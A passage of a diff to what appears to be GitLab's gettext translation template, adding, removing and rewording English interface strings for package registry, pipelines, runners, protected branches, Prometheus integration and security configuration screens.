+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26289,9 +25968,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|What are protected tags?"
msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,15 +27101,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27413,15 +27122,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27815,6 +27515,9 @@ msgstr[0] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -27986,9 +27683,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28408,10 +28147,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,7 +29193,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
